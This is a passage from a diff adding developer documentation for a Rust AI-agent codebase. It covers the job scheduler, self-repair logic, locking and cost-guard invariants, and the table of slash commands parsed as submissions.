+If the LLM call for summarization fails, the error propagates — turns are **not** truncated on failure.
+
+Manual trigger: user sends `/compact` (parsed by `submission.rs`).
+
+## Scheduler
+
+`Scheduler` maintains two maps under `Arc<RwLock<HashMap>>`:
+- `jobs` — full LLM-driven jobs, each with a `Worker` and an `mpsc` channel for `WorkerMessage` (`Start`, `Stop`, `Ping`, `UserMessage`).
+- `subtasks` — lightweight `ToolExec` or `Background` tasks spawned via `spawn_subtask()` / `spawn_batch()`.
+
+**Preferred entry point**: `dispatch_job()` — creates context, optionally sets metadata, persists to DB (so FK references from `job_actions`/`llm_calls` are valid immediately), then calls `schedule()`. Don't call `schedule()` directly unless you've already persisted.
+
+Check-insert is done under a single write lock to prevent TOCTOU races. A cleanup task polls every second for job completion and removes the entry from the map.
+
+`spawn_subtask()` returns a `oneshot::Receiver` — callers must await it to get the result. `spawn_batch()` runs all tasks concurrently and returns results in input order.
+
+## Self-Repair
+
+`DefaultSelfRepair` runs on `repair_check_interval` (from `AgentConfig`). It:
+1. Calls `ContextManager::find_stuck_jobs()` to find jobs in `JobState::Stuck`.
+2. Attempts `ctx.attempt_recovery()` (transitions back to `InProgress`).
+3. Returns `ManualRequired` if `repair_attempts >= max_repair_attempts`.
+4. Detects broken tools via `store.get_broken_tools(5)` (threshold: 5 failures). Requires `with_store()` to be called; returns empty without a store.
+5. Attempts to rebuild broken tools via `SoftwareBuilder`. Requires `with_builder()` to be called; returns `ManualRequired` without a builder.
+
+Note: the `stuck_threshold` duration is stored but currently unused (marked `#[allow(dead_code)]`). Stuck detection relies on `JobState::Stuck` being set by the state machine, not wall-clock time comparison.
+
+Repair results: `Success`, `Retry`, `Failed`, `ManualRequired`. `Retry` does NOT notify the user (to avoid spam).
+
+## Key Invariants
+
+- Never call `.unwrap()` or `.expect()` — use `?` with proper error mapping.
+- All state mutations on `Session`/`Thread` happen under `Arc<Mutex<Session>>` lock.
+- The agent loop is single-threaded per thread; parallel execution happens at the job/scheduler level.
+- Skills are selected **deterministically** (no LLM call) — see `skills/selector.rs`.
+- Tool results pass through `SafetyLayer` before returning to LLM (sanitizer → validator → policy → leak detector).
+- `SessionManager` uses double-checked locking for session creation. Read lock first (fast path), then write lock with re-check to prevent duplicate sessions.
+- `Scheduler.schedule()` holds the write lock for the entire check-insert sequence — don't hold any other locks when calling it.
+- `cheap_llm` in `AgentDeps` is used for heartbeat and other lightweight tasks. Falls back to main `llm` if `None`. Use `agent.cheap_llm()` accessor, not `deps.cheap_llm` directly.
+- `CostGuard.check_allowed()` must be called **before** LLM calls; `record_llm_call()` must be called **after**. Both calls are separate — the guard does not auto-record.
+- `BeforeInbound` and `BeforeOutbound` hooks run for every user message and agent response respectively. Hooks can modify content or reject. Hook errors are logged but **fail-open** (processing continues).
+
+## Complete Submission Command Reference
+
+All commands parsed by `SubmissionParser::parse()`:
+
+| Input | Variant | Notes |
+|-------|---------|-------|
+| `/undo` | `Undo` | |
+| `/redo` | `Redo` | |
+| `/interrupt`, `/stop` | `Interrupt` | |
+| `/compact` | `Compact` | |
+| `/clear` | `Clear` | |
+| `/heartbeat` | `Heartbeat` | |
+| `/summarize`, `/summary` | `Summarize` | |
+| `/suggest` | `Suggest` | |
+| `/new`, `/thread new` | `NewThread` | |
+| `/thread <uuid>` | `SwitchThread` | Must be valid UUID |
+| `/resume <uuid>` | `Resume` | Must be valid UUID |
+| `/status [id]`, `/progress [id]`, `/list` | `JobStatus` | `/list` = all jobs |
+| `/cancel <id>` | `JobCancel` | |
+| `/quit`, `/exit`, `/shutdown` | `Quit` | |
+| `yes/y/approve/ok` and aliases | `ApprovalResponse { approved: true, always: false }` | |
+| `always/a` and aliases | `ApprovalResponse { approved: true, always: true }` | |
+| `no/n/deny/reject/cancel` and aliases | `ApprovalResponse { approved: false }` | |
+| JSON `ExecApproval{...}` | `ExecApproval` | From web gateway approval endpoint |
+| `/help`, `/?` | `SystemCommand { "help" }` | Bypasses thread-state checks |
+| `/version` | `SystemCommand { "version" }` | |
+| `/tools` | `SystemCommand { "tools" }` | |
+| `/skills [search <q>]` | `SystemCommand { "skills" }` | |
+| `/ping` | `SystemCommand { "ping" }` | |
+| `/debug` | `SystemCommand { "debug" }` | |
+| `/model [name]` | `SystemCommand { "model" }` | |
+| Everything else | `UserInput` | Starts a new agentic turn |
+
+**`SystemCommand` vs control**: `SystemCommand` variants bypass thread-state checks entirely (no session lock, no turn creation). `Quit` returns `Ok(None)` from `handle_message` which breaks the main loop.
+
+## Adding a New Submission Command
+
+Submissions are special messages parsed in `submission.rs` before the agentic loop runs. To add a new one:
+1. Add a variant to `Submission` enum in `submission.rs`
+2. Add parsing in `SubmissionParser::parse()`
+3. Handle in `agent_loop.rs` where `SubmissionResult` is matched (the `match submission { ... }` block in `handle_message`)
+4. Implement the handler method (usually in `thread_ops.rs` for session operations, or `commands.rs` for system commands)
